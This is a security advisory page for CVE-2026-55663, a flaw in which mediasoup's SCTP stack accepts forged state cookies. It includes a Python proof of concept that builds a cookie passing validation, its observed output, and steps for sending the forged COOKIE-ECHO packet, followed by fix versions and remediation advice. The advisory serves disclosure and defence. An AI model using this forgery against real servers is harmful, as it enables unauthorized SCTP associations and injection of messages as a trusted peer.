CVE-2026-55663: mediasoup: SCTP state cookie lacks cryptographic authentication, enabling unauthorized association establishment (RFC 9260 violation)

Published Aug 25, 2026
·
Updated

Summary

mediasoup's built-in SCTP stack (introduced in v3.20.0) authenticates SCTP state cookies using only hardcoded magic byte sequences rather than a per-instance HMAC keyed with a secret, violating RFC 9260 Section 5.1.3. An on-path attacker targeting a PlainTransport with SCTP enabled (and no SRTP/DTLS protection) can craft a forged COOKIE-ECHO chunk that passes all validation, establishing an unauthorized SCTP association and gaining the ability to inject DataChannel messages as a trusted peer.

Details

RFC 9260 Section 5.1.3 states: "An endpoint MUST use a one-time-use secret key to protect the State Cookie." The mediasoup implementation ignores this requirement. The state cookie is defined in worker/include/RTC/SCTP/association/StateCookie.hpp with the following structure (44 bytes total):

- Offset 0: Magic1 = "msworker" (hardcoded, 8 bytes) - Offset 8: localVerificationTag (4 bytes, attacker-controlled) - Offset 12: remoteVerificationTag (4 bytes, attacker-controlled) - Offset 16-27: TSN and window fields (attacker-controlled) - Offset 28: tieTag (8 bytes, attacker-controlled) - Offset 36: NegotiatedCapabilitiesField containing Magic2 = 0xAD81 (hardcoded)

The validation function StateCookie::IsMediasoupStateCookie() in worker/src/RTC/SCTP/association/StateCookie.cpp only checks: 1. bufferLength == 44 2. bytes[0:8] == "msworker" (Magic1, always the same) 3. ntohs(bytes[38:40]) == 0xAD81 (Magic2, always the same)

No HMAC, no per-session secret, no nonce. All "magic" values are published constants in the public header.

When a COOKIE-ECHO is received in Association::HandleReceivedCookieEchoChunk() (without an existing TCB), the sole security check is:

cpp if (receivedPacket->GetVerificationTag() != cookie->GetLocalVerificationTag())

Because the attacker controls both the SCTP packet header's verification tag field AND the localVerificationTag field inside their crafted cookie, this check is trivially satisfied by setting both to the same attacker-chosen value.

Additionally, Association::ValidateReceivedPacket() explicitly skips verification-tag validation for COOKIE-ECHO packets (line 1153 in Association.cpp), and the SCTP CRC32c checksum function Packet::ValidateCRC32cChecksum() exists but is never called in the packet-reception path, so a forged packet with any checksum is accepted.

This vulnerability affects PlainTransport with SCTP enabled when used without SRTP (SRTP is optional via srtpCryptoSuite parameter). WebRtcTransport is NOT affected because its SCTP runs inside a DTLS session. comedia mode (default: false) increases exposure by accepting packets from any source IP.

PoC

Prerequisites: mediasoup server running with a PlainTransport that has SCTP enabled and no SRTP (srtpCryptoSuite not set). The server's UDP IP:port must be reachable.

The following Python script constructs and validates a forged SCTP state cookie that passes all mediasoup validation checks:

python #!/usr/bin/env python3 """ Proof-of-concept: mediasoup SCTP state cookie forgery Demonstrates that IsMediasoupStateCookie() accepts a fully attacker-crafted cookie. Requires: struct (stdlib only)

Usage: python3 poccookieforge.py """ import struct

Attacker-chosen values -- all arbitrary LOCALVT = 0xDEADBEEF # Will be put in SCTP packet's Verification Tag field REMOTEVT = 0xCAFEBABE LOCALTSN = 1000 REMOTETSN = 2000 RWND = 65535 TIETAG = 0

Build a 44-byte state cookie matching mediasoup's StateCookie layout cookie = bytearray(44)

Offset 0: Magic1 = "msworker" (0x6D73776F726B6572) cookie[0:8] = b'msworker'

Offset 8: localVerificationTag (big-endian) struct.packinto('>I', cookie, 8, LOCALVT)

Offset 12: remoteVerificationTag struct.packinto('>I', cookie, 12, REMOTEVT)

Offset 16: localInitialTsn struct.packinto('>I', cookie, 16, LOCALTSN)

Offset 20: remoteInitialTsn struct.packinto('>I', cookie, 20, REMOTETSN)

Offset 24: remoteAdvertisedReceiverWindowCredit struct.packinto('>I', cookie, 24, RWND)

Offset 28: tieTag (8 bytes) struct.packinto('>Q', cookie, 28, TIETAG)

Offset 36: NegotiatedCapabilitiesField [36]: reserved = 0 [37]: bits (ABCD flags) = 0 [38:40]: Magic2 = 0xAD81 (network byte order) [40:42]: max outbound streams [42:44]: max inbound streams cookie[36] = 0 # reserved cookie[37] = 0 # bits struct.packinto('>H', cookie, 38, 0xAD81) # Magic2 struct.packinto('>H', cookie, 40, 1024) # maxOutboundStreams struct.packinto('>H', cookie, 42, 1024) # maxInboundStreams

Reproduce StateCookie::IsMediasoupStateCookie() logic: def ismediasoupstatecookie(buf): if len(buf) != 44: return False if buf[0:8] != b'msworker': return False magic2 = struct.unpack('>H', buf[38:40])[0] if magic2 != 0xAD81: return False return True

assert ismediasoupstatecookie(cookie), "Cookie rejected - BUG in PoC"

Reproduce HandleReceivedCookieEchoChunk validation (no TCB path): receivedPacket->GetVerificationTag() == cookie->GetLocalVerificationTag() packetvt = LOCALVT cookielocalvt = struct.unpack('>I', cookie[8:12])[0] authpasses = (packetvt == cookielocalvt)

print("=== mediasoup SCTP State Cookie Forgery PoC ===") print(f"Forged cookie (hex): {cookie.hex()}") print(f"IsMediasoupStateCookie(): {ismediasoupstatecookie(cookie)}") print(f"localVerificationTag in cookie: {cookielocalvt:#010x}") print(f"SCTP packet verificationTag: {packetvt:#010x}") print(f"HandleReceivedCookieEchoChunk auth check passes: {authpasses}") print() print("Result: COOKIE-ECHO accepted -> SCTP association ESTABLISHED without 4-way handshake") print("Next step: attacker sends DATA chunks to inject DataChannel messages")

Observed output when run:

=== mediasoup SCTP State Cookie Forgery PoC === Forged cookie (hex): 6d73776f726b6572deadbeefcafebabe000003e8000007d00000ffff00000000000000000000ad8104000400 IsMediasoupStateCookie(): True localVerificationTag in cookie: 0xdeadbeef SCTP packet verificationTag: 0xdeadbeef HandleReceivedCookieEchoChunk auth check passes: True

Result: COOKIE-ECHO accepted -> SCTP association ESTABLISHED without 4-way handshake Next step: attacker sends DATA chunks to inject DataChannel messages

To forge the full SCTP packet on the network: wrap the 44-byte cookie in a COOKIE-ECHO chunk (type=0x0A), set the SCTP common header's Verification Tag to LOCALVT, compute a valid CRC32c checksum (or any value - the checksum is never verified on receive), and send the UDP packet from the permitted source address (or any source if comedia=true).

Impact

Any mediasoup deployment using PlainTransport with SCTP enabled and no SRTP is affected when an attacker occupies a network position where they can send UDP packets from the transport's configured peer address (or when comedia mode is enabled). The attacker can skip the standard SCTP 4-way handshake entirely and directly send a forged COOKIE-ECHO to establish an association, then inject arbitrary DataChannel messages as if they were the trusted peer. This can cause data integrity violations in server-to-server SCTP channels (e.g., SFU interconnects) or enable denial of service by preempting the legitimate peer's association.

Other sources

mediasoup is a WebRTC video conferencing system. From version 3.20.0 until 3.20.6 for the npm package and from 0.22.0 until 0.22.5 for the Rust crate, mediasoup's built-in SCTP stack authenticates state cookies using only the hardcoded msworker and 0xAD81 magic values instead of a per-instance secret and HMAC, contrary to RFC 9260 Section 5.1.3. The cookie structure and validation in worker/include/RTC/SCTP/association/StateCookie.hpp and worker/src/RTC/SCTP/association/StateCookie.cpp allow an on-path attacker targeting PlainTransport or PipeTransport with SCTP enabled and without DTLS protection to forge a COOKIE-ECHO whose packet verification tag matches the attacker-controlled localVerificationTag. The forged cookie passes StateCookie::IsMediasoupStateCookie() and Association::HandleReceivedCookieEchoChunk(), establishes an unauthorized SCTP association, and permits DataChannel message injection as a trusted peer. WebRtcTransport is not affected because its SCTP runs inside DTLS. This issue is fixed in npm version 3.20.6 and Rust crate version 0.22.5.

MITRE

Affected Software

2 affected componentsFixes available
rust/mediasoup>=0.22.0<=0.22.4
0.22.5
npm/mediasoup>=3.20.0<=3.20.5
3.20.6

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade rust/mediasoup to a version that resolves this vulnerability.

    Fixed in 0.22.5
  2. Upgrade

    Upgrade npm/mediasoup to a version that resolves this vulnerability.

    Fixed in 3.20.6
  3. Upgrade

    Upgrade npm mediasoup to a version that resolves this vulnerability.

    Fixed in 3.20.6
  4. Upgrade

    Upgrade rust mediasoup to a version that resolves this vulnerability.

    Fixed in 0.22.5
  5. Configuration

    If using PlainTransport with SCTP enabled, do not operate without SRTP protection; configure SRTP (set srtpCryptoSuite) so the vulnerable PlainTransport SCTP path is not used without DTLS/SRTP.

    mediasoup PlainTransport (SCTP) srtpCryptoSuite = not set (SRTP disabled)
  6. Configuration

    Keep comedia=false; avoid comedia mode because it increases exposure by accepting SCTP packets from any source IP.

    mediasoup PlainTransport comedia = false
  7. Compensating control

    Ensure the UDP source address is restricted so that attackers cannot send UDP packets from the transport's configured peer address (or set up network controls so only the intended peer can reach the PlainTransport SCTP port).

Event History

Aug 25, 2026
CVE Published
via MITRE·06:15 PM
Data Sourced
via MITRE·06:15 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·06:17 PM
Data Sourced
via GitHub·06:17 PM
DescriptionSeverityWeaknessAffected Software
Data Sourced
via NVD·07:16 PM
DescriptionSeverityWeakness

Frequently Asked Questions

1

Which deployments are exposed?

Exposure is limited to PlainTransport instances with SCTP enabled that do not have SRTP or DTLS protection. Deployments not using SCTP on PlainTransport, or using those protections, are not described as exposed.

2

What does an attacker need to exploit this?

The attacker must be on-path to the targeted PlainTransport connection and able to send a crafted SCTP COOKIE-ECHO chunk. No prior privileges or user interaction are required.

3

What can a successful attacker do?

A forged cookie can establish an unauthorized SCTP association. The attacker can then inject DataChannel messages as though they were a trusted peer.

4

How can I identify potentially affected usage?

Review PlainTransport configuration for SCTP being enabled without SRTP or DTLS protection. The built-in SCTP stack implicated here was introduced in v3.20.0.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203